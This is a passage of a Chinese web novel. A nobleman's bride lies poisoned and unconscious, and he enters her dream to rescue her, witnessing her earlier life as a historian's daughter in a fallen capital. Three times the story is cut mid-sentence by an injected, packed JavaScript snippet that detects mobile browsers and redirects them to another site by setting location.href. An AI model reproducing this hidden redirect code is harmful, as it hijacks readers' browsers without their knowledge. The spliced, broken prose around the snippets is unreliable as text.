64. 月冷千山(二) 繁星在夜空闪烁,皎洁的月亮挂在夜空,白色的月光悲悯地撒向世间,将世间烘托出一片祥和。 牧府却没有分得半分月光,因为这偌大的府邸彻夜点燃着红灯笼,橙红的光照映着整座府邸,火光一闪一闪地跳动着,像心跳,牧平也此刻的心跳一般。 今日新婚本该彻夜点燃龙凤烛,祈求有情人此生相依相守。 可此刻婚房内的红烛燃着,明亮如白日,却并非因为新婚,是因为此刻薛容玦正不省人事地躺在婚床之上。 侍女们忙碌地进进出出,牧平也紧紧攥着薛容玦的手,小心地为她擦拭着额间不断的汗珠。 他将帕子递给月红又从她手中接过干净帕子继续擦拭,轻声问着月红生怕惊扰了梦中人。 “医官怎么还没来?” 月红正欲开口便看到如筠身后跟着一位年轻的医官,她松了口气:“来了来了。” 医官向牧平也轻轻颔首后,牧平也不舍地放开了薛容玦的手。 医官坐在一旁为薛容玦把脉,牧平也的目光留恋在薛容玦平静不安的面庞上。他没有注意到医官的眉头却越来越紧蹙,半晌后他放下手,犹豫道:“小牧大人可方便移步一叙?” 牧平也双眸透出些不知所措,他知晓这不是个好兆头却还是点了点头。 他为薛容玦擦拭掉额上的汗后对如筠道:“照顾好她。” 牧平也正欲带他前往书房便听得医官又道:“不知哪位是郡主的贴身侍女?还请一道随行。” 月红看向牧平也,他轻轻颔首。 书房内,医官看着牧平也犹豫半晌不知该如何开口,牧平也的一颗心也跟着上上下下:“大人有话不妨直说。” “郡主高烧应是昨夜受了冷风,且夏日炎热今日大婚礼服繁重,而且……”医官看了一眼牧平也道,“郡主白日里受的刺激并不小。” “昨夜受冷风?”牧平也疑惑地看向月红。 月红解释道:“昨夜郡主难以入眠,便去寻夫人。奴婢为郡主披了件衣裳,但可能还是因此受了凉。” 牧平也点点头,一颗心还没放下去便又被医官掉了起来。 “高烧并不难治,”医官踌躇,“棘手的是郡主身上有毒。” 牧平也猛然起身盯着医官,像一匹准备伺机而动的狼,声音冷淡充满危险:“你说什么?” “从脉象上来看,中毒已有一些时日,只是毒素累积尚浅,若非此次高烧也不能被激发出来。”医官转身看向月红,“叫姑娘前来便是想问问,郡主这些日子吃穿用度可有何变化?” 月红双眸微睁又懵然地摇摇头,声音有些哽咽:“不会的,郡主吃穿用度都是夫人安排的,绝对不会有问题的。” 医官沉吟半晌道:“还烦请姑娘将郡主常用之物拿来,在下细细审视一遍,在下先开张方子把郡主的高热降下来。” 牧平也点头,让门外小厮拿着药方去抓药熬药,月红也匆匆去取东西。 牧平也此刻气压低得可怕,仿佛周身萦绕着一圈看不见的黑雾,他问向医官:“这毒可好解?” 医官想了想道:“郡主中毒不深,细细调养即可,费些时间罢了。只是……” 牧平也额间有几滴汗落下,他着急地问道:“只是什么?” 医官斟酌着用词,看了一眼牧平也又垂下了眼:“只怕郡主还未醒来便毒发,那便麻烦了。” 牧平也一双眼眸深沉、眼眶微微发红,不知在思索着什么。 很快,月红便将薛容玦常用的东西拿来了,医官坐在那里一一查验着,牧平也一言不发地站在医官身后。 突然间医官拿着一枚香丸嗅了嗅,又用医箱里的小铲子挖掉一块尝了尝便吐了出来。 他对月红问道:“这安神香哪来的?” 月红不明所以,只道:“这是一位医女为郡主配置的,郡主常常夜不能寐,即便入睡也常常会惊醒。郡主用了这安神香之后睡眠好多了呢。” 医官面目严肃地对牧平也道:“就是此物。” 牧平也看向月红,语气犹如寒霜冷箭:“这是谁配置的?” 月红也处在震惊中,磕磕绊绊地道:“是……是茵陈姑娘。” 第二日清晨。 凉风习习吹入房间,吹灭了燃了一整夜的龙凤烛,烛泪斑驳地落在桌上,仿佛血泪。 窗外的鸟鸣叽叽喳喳,枝叶扶疏随风摇摆,露珠顺着叶片一滴滴掉落在大地上。阳光漫射进房屋,光影洒落在牧平也身上,他揉着惺忪的睡眼从桌上醒来。 他昨夜在此守候了一夜不知不觉间睡了过去。他急忙起身去探薛容玦的额,经过一夜终于不烧了,可是怎么还没醒? 他悄声离开屋子对月红道:“去客房将医官请来。” 很快,医官便随月红来到了主院,牧平也趁机也梳洗了一番,可是仔细瞧来他眼下发青、眼眶发红显然一夜未能休息好。 他对医官行了个礼:“一早便叨扰大人了,只是夫人已然退了烧怎么还未醒来,还请大人帮着瞧一瞧。” 医官回礼道:“应当的,牧大人客气了。” 医官细细把着脉,眉头却始终未曾舒展开,只道:“属实有些奇怪,郡主高烧并不严重,按理来说郡主此刻应当已然醒来才对,怕是毒的原因。 “在下已经在配置解药了,可是短时间内还无法配出,若是下毒之人愿意交出解药是最好的。” “大人!大人!”小厮粗喘着气跑到门外,“外面有个和尚要见您,说什么,能唤醒夫人。” “带他去书房等我,”牧平也又看向月红,“照顾好郡主,按医官的吩咐来。” 月红用力点了点头。 牧平也在书房见到这位和尚是着实愣了一番,他没想到他如此年轻。这位小师傅看起来只有十三四岁的模样,面庞还有几分未褪去的青涩。 牧平也原本是不信神佛的,可是自从应了老和尚那句“于风舞之地,花开之辰,凤凰陨落之所,必相逢矣”之后,他便对神佛多了一份崇敬之心。 还未等他开口,小和尚便开口,声音还有几分稚嫩青涩:“尊夫人并非因病未醒,而是因陷入梦境无法醒来。” 牧平也微不可见地皱了皱眉头,他连见都没有见过昭昭便能如此说。语气不禁带了几分怀疑:“敢问小师傅如何得知?” 小和尚倒是毫不在意,微微笑道:“贫僧与尊夫人此生共有三面之缘,此番便是第三次。” 牧平也道:“小师傅曾见过夫人?” 小和尚点点头,浑身散发着出世清淡的气质:“贫僧与尊夫人在安乐无名寺的木樨园曾有一面之缘。那时檀越应也在安乐,应是去与故人相会了。” 牧平也此刻倒是真的有些惊讶了,却仍道:“还有一次呢?” 小和尚看了看他,那一双眼眸清澈通透,仿佛能看穿世间事:“檀越很快便知晓了。” 牧平也点了点头,只道:“原来如此。” 小和尚微微一笑,道:“檀越看来还是不信。檀越少时可曾见过一位老师傅,他曾告知檀越有命定之缘,如今显然已经应验。 “想来你们二人于风舞之地,花开之辰,凤凰陨落之所重逢。” 牧平也面上不显可双眸此刻却流露出些许惊讶,毕竟这件事除了他只有那位老和尚知晓:“敢问小师傅是如何得知?” 小和尚只道:“檀越与佛有缘。” 小和尚看起来年岁不大,可身上都是岁月沉淀出的沉静,散发出一股清淡又超然物外的气质,让人不由自主地想要相信他。 牧平也正欲开口,月红的声音突然从门外传来,断断续续:“大人……不好了,郡主的毒发了,若是在十二个时辰醒不过来便有生命之危。” 牧平也神情严肃,转头对小和尚道:“劳烦小师傅随我走一趟。” 牧平也带着小和尚赶到时,医官正忙着让人给薛容玦喂药,可是此刻她却一口也没有喝进去。 医官此刻简直是焦头烂额,看到牧平也才像是看到了主心骨:“牧大人,此刻要么下毒之人拿来解药,要么郡主醒来服下汤药,否则……” 接下来的话,他不说牧平也明白。 牧平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235379|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也看着床榻上的薛容玦,她看起来就像是睡着了,沉入一场好梦。他的心仿佛被一只手紧紧攥着,不时便传来一阵刺痛。 牧平也深吸一口气压下胸口刺痛,随即看向月红:“如筠回来了吗?” 不待月红回答,如筠便推门而入,她面色沉沉:“如大人所料,茵陈姑娘已然不见了。” 牧平也心口的疼痛更甚,他闭了闭眼语气冷淡:“都下去吧,没有我的允许,谁也不许进来。烦请大人继续研制,不论需要什么尽管提。 “另外,此事不许让薛夫人知晓,明白吗?” 月红和如筠等人不禁打了个寒战,点了点头带着医官和仆从都退了下去。 牧平也睁开双眸,双眸泛红犹如一只走投无路的狼崽。 他看向小和尚,语气诚恳隐有哀求:“小师傅,劳烦您看看?” 小和尚点点头,坐在一旁细细看着薛容玦的面色,又搭脉,半晌后道:“贫僧所料不错,这位檀越命中本就有此一劫。只是,贫僧无法唤醒她,因为她此刻深陷在往日执念之中,须得有人入梦去唤醒她。” 牧平也毫不犹豫道:“我去!” 他仿佛一个迷途之人看到了曙光,原本灰暗的面容都带上了几分神采。 小和尚看着他念了一句“阿弥陀佛”,小和尚的语气依旧清淡:“若是在檀越入梦后的十个时辰内不能醒来,那你们就永远无法醒来了。” 牧平也看向薛容玦的目光缱绻缠绵,语气贪恋,嘴角的笑容温柔又美好:“若是能与她一同沉沦梦境,倒也不失为一桩美事。” 小和尚看着他眼中含着悲悯。 牧平也转头看向小和尚,语气十分恭敬:“只是,该如何入梦呢?” “贫僧会在此为你二人念经祷告,”小和尚从怀中拿出两个简单朴素的红绳和一根金线,“这两个红绳贫僧曾放在佛前供奉了三年,便是为了今日。你二人戴上,再以这金线相连即可。” 牧平也在薛容玦身边躺下,轻抚着薛容玦的面庞,眼神留恋又不舍,喃喃道:“昭昭别怕,我来找你了。” 小和尚将红绳带在牧平也的右腕、薛容玦的左腕,又道:“若是在梦境中遇到险境便扯断红绳。只是扯断红绳之人有可能再也醒不过来,记住了吗?” 牧平也紧紧牵着薛容玦的手,点了点头。 “非遇绝境不可用。” 小和尚为他们缠上金线。 牧平也前一刻还意识清明,下一刻便陷入昏沉中。 - 薛容玦此刻仿佛陷入海域中心的漩涡之中,被裹挟着向着黑暗的海域下坠。她眼前有许多四散飘荡又斑驳陆离的碎片,远远瞧着像是一个个记忆片段,可当她伸手去触碰时碎片却即刻消散不见,犹如一个绚烂梦幻的气泡。 她漂浮在海水中,仰头却看到了月亮高悬于夜空之上,高洁清冷,俯瞰着人世间的悲欢离合。 不知下坠了多久,她眼前出现了一个瑰丽奇幻的气泡,其中有一盏皎洁的月亮,月光明亮温柔,引得她不自觉地向前伸出手去。 她发现自己手腕不知何时多了一个红绳,她轻轻地触碰着这个气泡。 旋即她被气泡吞噬其中,失去了意识。 - 牧平也醒来时身处一片海域之上,除了无边无垠的黑暗海面上只有高空冰冷的月亮照映在海水之上,随着翻涌的海水不断波动着。 他努力寻找着薛容玦的身影却什么也没有看到,他不禁用左手攥着右手腕上的红绳,喃喃道:“昭昭,你到底在哪?” 猛然间,他手腕上的红绳开始发烫灼烧,下一刻他身边的景象骤然变幻,他只觉得这里熟悉又陌生。 枇杷树、院落、星空。 他猛然意识到这是哪里。 这是他最初来到京都所住院落,枇杷树长大了一些,树下的棋盘被风雨磨损了一些,那座房屋也更破落一些。 院子里的小女孩扎着双髻,娇娇俏俏地望着夜空的明月,口中还念道:“辛苦最怜天上月,一昔如环,昔昔都成玦。” 这是幼时的昭昭。 65. 月冷千山(三) 牧平也只觉幼时的昭昭格外可爱,心生欢喜,只是旋即便意识到此处不对,薛将军与薛夫人怎会生活在这样的房屋之中呢? 院落破败、枇杷长成、棋盘风霜、木门不堪。 怎么看这都是珠流璧转后所形成的。 心念电闪间他意识到这里是后世! 他此刻整个人有一瞬间怔愣,难道说他的梦境不仅仅是梦境?难道一切都是真实的? 那……他梦中的女子也是真实的! 可,那位女子究竟是谁呢?难道昭昭并非世间之人? 难道眼前的小女孩就是梦中的女子,亦是他枕畔之人? 难道这便是佛家所云之轮回? 他的大脑繁杂没有思绪,忽然间听得一个气若游丝之人说出了一段熟悉的话:“……阿玦真聪明,这世间之事总……无法圆满,阿玦瞧那月亮……漂亮吗?” 一旁的男子,瞧着约莫而立之年可却有些沧桑之感,拍了拍妻子的想说些什么,妻子那苍白的面容上绽放了一个笑容,微微向他摇了摇头。 年幼的容玦不明所以地仰起头瞧着月亮笑着点了点头:“很漂亮!阿玦最喜欢看月亮了!” 塌上的女子温柔又悲悯地瞧着她,咳嗽了半晌道:“这月亮……过了这两日又要变成残月……月盈则亏、水满则溢、物极必反……这世间啊,缺憾无可避免,阿玦这一生也不必事事苛求圆满,能够做到问心无愧就已然很不错了……” 年少的阿玦看着阿娘,脸上都是懵懂,似乎听不懂阿娘在说些什么。 她让丈夫扶着她起身,努力地去轻抚女儿的发顶,不舍的声音中还带着哽咽:“……若是阿玦想阿娘了便看看满月……满月之时便是阿娘来看你了。” 幼小的容玦看着阿娘苍白的面容,只是天真地问道:“阿娘要去月宫当仙女了吗?” 她靠在丈夫怀中,不知是说给丈夫还是女儿,只听她喃喃道:“世间困苦,我难以支撑先行离去。” “原谅我。” 「……我有一个对我很重要的人,在我幼时就离我而去了。」 「……她怕我伤心,便告诉我说想她的时候便看看天上的月亮,她会在月亮上看着我。」 「……这世间之事不能太完满,月盈则亏、水满则溢、物极必反,有所缺失才是好的。」 两道声音在他耳边交融,他的目光中夹杂着各种各样的情绪,不解、震惊、惊喜种种情绪最终都化作了怜爱,轻柔地落在小女孩身上。 幼小的女孩看着沉睡的母亲,悄声问父亲:“阿爹,阿娘又睡着了吗?” 男人双眸含泪,抱紧了怀中的妻子,仍强撑道:“是啊,阿娘睡着了,我们不要吵她。” 小姑娘举起手中的桂花糕道:“可是今日中秋,母亲还未吃桂花糕、未饮桂花酒。” 男人终于忍不住落下泪来:“你阿娘……以后再也嗅不到桂花香了。” “阿爹,你怎么哭了?” 孩童稚嫩的童音,天真无邪、不谙世事,可是牧平也隔着时空在虚空中都感受到了汹涌澎湃的悲伤,犹如狂风席卷将他席卷其中。 人生七苦,生、离、死、别、怨憎会、爱别离、求不得。 照乘催珠,连城碎玉。① 他终于明白去岁中秋见到薛容玦时,为什么她的眉眼间总有云雾般缠绕的愁绪,为什么她总是瞧着孤独又清丽。 为什么他不论和她如何亲密都觉得他们之间始终隔着些什么,总是犹如镜中观月、雾里赏花。 原来只因他从未曾了解过她。 逝者已逝,可是留下的人还要在这世间生活。 他逐渐知晓了,此刻的的确确是后世,此男子名唤容海是一名史官,容玦是他唯一的女儿。 时光匆匆又是一年,这一日乃是上元节,容海带着女儿去乌淮大街看灯。 雪花纷纷扬扬地落,琉璃世界中一盏盏灯笼闪烁在街道两侧,星罗棋布的花灯在暗夜里流光溢彩绚烂至极。乌淮大街上人声鼎沸、灯影陆离斑驳,行人穿梭其中,佳人笑语盈盈,玉沙飘洒纷纷。 因着人多,容海将女儿抱在怀中以免行人冲撞。容玦兴奋地在容海怀中左看右看,又伸出接雪花,兴致冲冲地给容海看:“阿爹,你看!好漂亮的雪花。” 还未等容海说话,雪花已然在她的掌心融化,原本洋溢的笑容忽然间掉了下来:“化了。” 父女二人正在看一盏漂亮的兔子宫灯之时,人群不知为何忽然骚乱了起来。 只见一名士兵拿着军报骑马狂奔:“北蛮来袭了!北蛮来袭了!” 牧平也在虚空中看到人群慌乱四散奔跑,原本繁华的乌淮大街霎时间变得狼藉了起来。 唯有容海一人抱着女儿站在人群里望着混乱的人群,悲悯地看着世人。 史海沉浮,轮回往复,无穷尽也。 忽然间,牧平也眼中的景色犹如光华流转迅速褪去了颜色。 微雨如酥、杨柳依依的春日绿,变成了灰色。 烈阳炎炎、榴花开遍的夏日红,变成了灰色。 萧瑟晚风、红叶黄花的秋意晚,变成了灰色。 雪花翻飞、梅花清浅枝上堆是白色的。 大雪肆虐地飘荡着,幼小的容玦站在巷口的大榕树下,和邻家姐姐阿若的情郎表哥被拉去充军北上。 阿玦每日就陪着阿若坐在巷口榕树下等表哥回来。 露往霜来、霜凋夏绿。 阿玦陪阿若从榕树枯木败叶等到葱茏翁郁,从数九寒天等到骄阳似火,等了几个寒暑却还是没能等到表哥回来。 牧平也站在时光的上空看着容玦这些年的成长,他的心中又怜又爱,谁又是无忧无虑、平安顺遂长大的呢? 可是她依然聪慧透彻、坚韧果决。 是一个很好很好的女子。 在一个秋日,秋雨连绵,淅淅沥沥得犹如少女阿若连绵不断的愁绪。雨滴从榕树叶上坠到地面溅起了尘泥。秋风卷起了枯黄的树叶随着细雨洒在了阿若的窗子上。 秋风萧萧,在这乱世更显荒凉。 阿若死在这样灰败衰落的秋日。 秋雨如挽歌。 又是一年中秋,容海年年去城外陪伴亡妻,阿若离去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282456|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今只有容玦一人坐在这榕树下望月。 她已然十二三岁的模样,虽未长成,却仍能看出来日模样。只是少女身着白衣坐在树下孤寂地望着长久无穷的月亮。 圆月高悬,冰冷又明亮,像是神祇俯瞰着人间。 牧平也坐在她身边,轻轻揽着她,试图给她一些陪伴的力量。 “施主,可有些吃食?”一位老僧的声音从容玦的身边传来,她转头就看到一位慈祥的僧人。 牧平也一同回首看到这位僧人却是一愣,这不是……这不是小和尚吗? 小和尚眉上一颗红痣十分明显,让牧平也一眼认出。 只是如今小和尚已经垂垂老矣,岁月攀上了他的面庞、压垮了他的背脊,可他始终淡然处之。 容玦从包裹里拿出几个桂花饼递给僧人:“这是我和阿爹自己做的,老师傅不嫌弃便好。” 僧人一下就嗅到了桂花香,似乎想起了些往事,笑道:““这世道能填饱肚子已是不易,怎会嫌弃檀越一番好意。 “只是这桂花饼令贫僧想到幼时所居寺院,后院有一处木樨园。每逢桂花时节整座寺院都飘荡着木樨香,佛堂清幽,山谷中钟鼓清亮,转眼已成回忆。” 容玦一直很喜欢桂花,却未曾在京都看到过大片的木樨园,向往道:“若是我有机会一观便好了,一定很美。” 僧人看着她,眼神慈悲:“檀越一定会去的。” 容玦看到老和尚显然饿极却仍十分克制斯文、慢悠悠地吃完了月饼。 容玦看着僧人突然开口:“小女可否问师傅个问题?” 这位僧人笑着应道:“那是自然,不知檀越有何迷津?” 她瞧着像城墙上战鼓一般的月亮,幽幽道:“月亮瞧着这人间会不会难过呢?” 这位僧人吃完用帕子擦了擦手,也同她一同看月亮:“月亮不会难过,月亮也不会欣喜,人世间的沧海变幻对它而言不过是一瞬。 “檀越觉得月亮会难过,不过是因为姑娘心中苦涩。” 她笑了笑,笑容却不是这个年龄少女的娇俏,反而有几分看淡:“至少还有月亮陪我难过,那也并不孤单。” 这位僧人打量着容玦,可牧平也只觉他在透过容玦在看自己,只见他微微一笑对容玦道:“如今是贫僧此生第三次与檀越相遇,檀越身上因果颇深,有着大机缘。” 容玦闻言转头瞧了瞧他,歪着脑袋想了想:“我似乎未曾见过师傅呢,师傅可是记错了?” 他双手合十道:“阿弥陀佛,时候未到檀越自然不知。” 牧平也觉得老僧人看了一眼自己又道:“很快,檀越便知晓一切了。 “相遇即是缘,此乃贫僧与檀越最后一次相见,贫僧便送姑娘几句话吧。” 容玦心中虽有疑惑,却仍双手合十,微微低头:“请师傅赐教。” 他的声音犹如穿越了长久时光而来,沧桑的声音与稚嫩的声音渐渐重合,环绕在容玦的耳边。 “诸法因缘生,诸法因缘灭。 “心无挂碍,无挂碍故,无有恐怖,远离颠倒梦想,究竟涅槃。” 66. 月冷千山(四) 战事无止无尽地进行着,战场也离京都愈来愈近。可是战事太久了,久到京都人脸上的面孔从恐惧变得麻木。 可是牧平也看到容玦眼中始终淡然,不知是一种对结局终将到来的释然,还是对历史反复的接受。 容玦十五岁的及笄礼因着战乱简单至极,陈大人是容海最为敬仰的人,陈大人将一生都奉献给了历史;容海亦是陈大人最为看重的后辈,只是可惜他们作为史官能做的太少太少。 容海为她邀请了陈老夫人作为及笄礼正宾,陈老夫人看到容玦时有些激动,眼眸中不知为何多了些泪花。 一众礼仪从简,陈老夫人为容玦择“昭昭”为字。 陈老夫人的声音沧桑充满力量,仿佛穿越时空而来:“世道艰险,取字曰昭昭。‘日升月恒,昭昭之宇’,惟愿世间早日霾散光遍。” 礼仪结束后,容玦回房换衣裳。陈老夫人看到她的背影喃喃道:“原来你说的‘我们终会重逢’是真的。” 牧平也听闻此言心中有些奇怪,他这才仔细打量着陈老夫人,虽然朱颜已改,可是那双眼眸分明是胡清露! 陈老夫人,陈大人! 牧平也不仅打量着她,心中感慨,世间之法自有其定数。 不知是不是因为牧平也在虚空中漂浮着,时间对于他而言变得很快,一眨眼又到了第二年秋日。 战事越来越严峻了,容玦时常需要去城外荒山上寻些吃的。 枯黄的梧桐叶在京都的空中飘旋飞舞,飞舞在奢华糜烂的皇宫上空也飞舞在平民百姓苦难的双眼前,整座都城都笼罩着一层悲戚。 容玦逆着风和枯叶艰难地走着,忽然人群中爆发出巨大的呼喊声,不少人背着行囊、拉扯着家眷超城门冲去,她方入城门便被挤得歪七扭八,被人挤得摔倒在地。 可她却顾不上自己,只担心怀中的小番薯可有摔坏,发现怀中之物好好的之后,她才送了一口气爬起来继续走,可是人潮拥挤,她一路踉踉跄跄终于跌倒在巷口。 不知谁人大喊一声“皇帝跑了!” 陆陆续续的声音传来。 “北蛮人马上就要攻入京都了!” “快跑吧!” “往南方去!” …… 来往的人群总是会碰到容玦,她的小番薯滚入了无人的街巷,她一次次向前匍匐想要去重新拢入怀中,可是始终不得法。 牧平也心中着急,想要去扶她却无奈一次次从她的身体中穿梭而过,若是这样下去,她迟早会被人踩死在这里。 他看到一位巡街的小兵麻木地看着来往人群,又看了看手中的红绳,毫不犹豫地撤下红绳,红绳化作点点红光悬在他的掌心。牧平也走到小兵身后将荧荧红光推入他的身体,在他耳边轻道:“去扶起那个姑娘,送她回家。” 这位小兵也不知道为什么,脑中突然出现了一段意识,不受控制地向那名女子走去。 他扶起了容玦,为她捡起了跌落在地上的小番薯。 牧平也听到了少女怯生生的声音:“……你不害怕吗?” 小兵仿佛被操控般只道:“我送姑娘回去吧,以免姑娘遇到歹人。” 牧平也看到容玦收敛了眉眼垂下了头,他知道这是她心情不好时会有的小动作,他看向小兵道:“回答她。” 小兵不受控制地说道:“我其实很害怕。” 少女微微睁大眼睛看着小兵,小兵仿佛打开了话匣子,他笑了笑似乎撕裂了唇上原本因干涸形成的伤口却不在意:“谁不怕死呢,可我告诉自己不能怕,我还有母亲和妹妹。 “我甚至很恨狗皇帝,他胆小怕事却又贪图喜乐。他在宫中奏乐赏乐,珍馐美食如流水般供应,我们深知连吃都吃不饱。” “姑娘可知?边防军本不会输得如此之快,就是他要造什么‘天上宫阙’,挪用了军款,导致边防兄弟们的盔甲、武器没有及时更换而节节败退,我那远在北边寒月郡参军的大哥自此杳无音信。 “到了现在,他居然弃城逃跑!一个皇帝,敌人还没有打进来就被吓得屁滚尿流,这王朝还有什么指望!” 少女不敢看他的眼眸,生怕听到自己害怕的回答,却还是问道:“那你不离开吗?” 牧平也感知到了小兵接下来的话,操控着小兵道:“我不会离开的,母亲和妹妹还在京都,我要保护京都、保护她们。” 他将容玦送至巷口的榕树,将小番薯递给容玦,温柔道:“别担心,我们都会努力保护京都的。” 少女眼带期冀:“你……叫什么名字?” 只见小兵粲然一笑:“不足为道。” 他转身大步离开,只是走了两步却又停下,没有回首,只道:“待胜利之时,再告知于姑娘。” 小兵刚走到街口,眼神有些迷茫,不知自己为何会在此。他敲了敲脑袋也想不起来自己刚才做了些什么。 他摇了摇头转身朝家走去,喃喃道:“要快些收拾行囊离开,再晚些城门就要关了。” 容玦朝巷子走去,只是刚走了两步忽然意识到,自己并未告知他自己住在哪里,他是怎么知道的?她想回头去找小兵的身影,可是却什么也看不到了。 牧平也的眼神温柔,穿越了重重时光在一旁温柔地注视着她。 很快,他们就会再见了。 所有人都知道北蛮会攻进京都,只是未曾想到会来得如此之快。 牧平也看到容海将自己整理的史书交给女儿,交代她一定要将书交给陈大人。 牧平也看着容海心中情绪十分复杂,他见过多次他深夜著书吐血的样子,直至此刻看着女儿离开的身影,他的手中还攥着一张染血的帕子。 容海的目光充满了不舍,喃喃道:“阿玦,原谅阿爹。阿爹撑不住了,要去找阿娘了。阿玦一定要好好活下去。” 牧平也看着他沧桑的面容,年纪轻轻就已鬓染白霜,况且形销骨立已然油尽灯枯了。 牧平也在容玦身后追随着她,她看完父亲的绝笔信后心痛到无以复加。她和众位史官告别,奔向家中。 她逆着人流奔跑着,她跑过荒废的宅院、残破的酒楼、空荡的街道。 牧平也看着她的白衣翻飞与雪花交织犹如她在这凡尘的最后一舞。 眼前少女的身影和他梦中的身影逐渐重叠,原来那一切都不是梦。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297370|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是真实而又残酷的历史。 容玦在城破之时终于回到了家中,她看到了火海中的父亲,她大声地嘶嚎着,容海却始终对她微笑着。 北蛮的侍卫推门而入,口中说着下流的话语,容玦毫不犹豫飞奔入火海,牧平也伸手去拉却也只是从她身体穿了过去。 几位侍卫“呸”了一口便离开了,去寻找城中的女子。 容海似乎隔着摇摆的火光看到了牧平也,他的呢喃细语都被火光吞噬了,可是牧平也却看懂了。 “救救她。” 容玦意识昏沉之前看到了父亲向自己微笑。 阿爹,我们终于可以一起上天宫去见阿娘了。 就在她坠入意识之海的前一瞬,突然有人生生撕开了她眼前的火光,一股带着水汽的凉意扑面而来,一位身着月白衣袍的男子朝她伸出手。 他犹如春日山水令人如沐春风,他似乎踏风而来,双眸温柔爱怜:“昭昭,我带你回家。” 家。 她想家了,想和阿爹阿娘再一次一起坐在枇杷树下赏月。 她不自觉地朝他伸出手去。 他们双手相触的那一刻,周围的景象陡然变换,二人又回到了那片漆黑的海域。只是此刻二人平稳地站在海面之上。 薛容玦看向牧平也,她一切都想起来了,原来不论是王朝盛世的薛容玦还是王朝沦丧的容玦都是她。 “你都知道了,你是来接我回去的吗?” 牧平也没有开口,双眸却贪恋地看着她,轻轻抬手抚上她的脸庞,这一次终于不会再穿过她的身体,真真切切地感受到了眼前人。 他忽然双眸一沉,眼眶发红,狠狠将人抱在怀中,说出的话颤抖不已:“对不起……我来晚了。” 薛容玦轻轻一笑,抬手抱着他,声音还有几分愉悦:“你能来带我回家,我很开心。” 牧平也双手放在她的肩上,右手顺着她的肩膀下滑拉起了她的手,他虔诚而不舍地在她的手背落下一吻。 他笑得悲伤而不舍:“我回不去了,替我好好活下去。” 话毕,他猛推了一把薛容玦,她差点落入身后的漩涡。 在这突然的变故,她却紧紧拉着牧平也的手腕,双眸含泪,一开口眼泪便顺着脸庞落下:“为什么!” - 月红远远地站在小和尚身后,仔细地看着薛容玦的面庞,她敏锐地注意到薛容玦皱了皱眉,也顾不上小和尚交待的不许出声,急忙问道:“小师傅,郡主皱眉了!他们是不是要醒了!” 小和尚放下手中的念珠,缓缓睁开眼看了看薛容玦,又看了看牧平也缓缓摇了摇头:“这位女檀越快醒来了,可是另一位……” 他的视线看向牧平也空荡荡的手腕,原本的红绳已然消失,只余一根金线在一旁连着薛容玦手腕上的红绳。 “醒不过来了。” 小和尚在为二人系金线时,还差一寸便系上时,犹豫半晌道:“檀越一定要记得,红绳只能在危机时刻扯断。 “可是如果扯断了便……再也无法醒来。” 牧平也只是贪恋地看了一眼薛容玦,笑着道:“我知晓。” 67. 月冷千山(五) 薛容玦眼睁睁地看着牧平也身后出现了一朵黑云,他月白色的衣袍在黑云的重压下翻飞着,黑云似乎要要将他吸纳进去,她焦急地问道:“怎么回事?” 牧平也笑着摇了摇头,薛容玦看向自己手腕的红绳,心念电闪间便已明白了什么,她快速地把手腕的红绳戴到他的手腕:“不论你去哪,我随你一起。” 话语刚落,黑云蜕变成白云迸发出一道极亮的白光将二人卷走了。 - 月红惊奇地盯着牧平也的手腕,结结巴巴地说:“小师傅,是是是我看错了吗?红红绳……” 小和尚看着牧平也手腕上的红绳,念了一句“阿弥陀佛”,悠悠道:“两位檀越之间的羁绊极深,缘分一事无法言说。” “愿他们能在天亮前醒来。” - 薛容玦睁开眼只见密密麻麻的尘埃飘浮在阳光透过窗缝射入的光柱内。她打量着四周,这是一座破庙,即便是白日也如黄昏般灰暗。 眼前的佛像常年无人拜祭已然布满厚厚的灰尘与蛛网,她仰起头却仍看到了佛像悲悯的双眸,一旁的菩萨轻轻低眉。 她偶然听到了些窸窸窣窣的声音,她寻着声音找去,发现在墙角窝着一个少年。 她有些奇怪,她随着牧平也一同被卷走,可是为什么不见牧平也? “阿爹……阿娘……思悠把明川弄丢了……” “江叔……他……他死在了我眼前……” 薛容玦意识到这是年幼的牧平也,应该是刚刚经历了家变的牧平也。 他看起来八九岁的模样,身上有些伤口,空气中隐隐还能嗅到一些血腥的气味。 她伸出手想要探探他是否烧糊涂了,可是还没有放到他的额头上他就睁开了眼,一双眼中充满了惊惧与不信任甚至有一丝绝望,像是一只离开了狼群的幼崽不得不独自面对危险。 “你是来杀我的吗?”他的声音有些嘶哑,似乎已经很久没有喝水了。 薛容玦注意到他右手悄悄伸入身下握紧了一把匕首,可她眉眼弯了弯,温柔地道:“我是来救你的。” 少年似乎不相信她,只是紧紧地盯着她问道:“那你为什么蒙着面?” 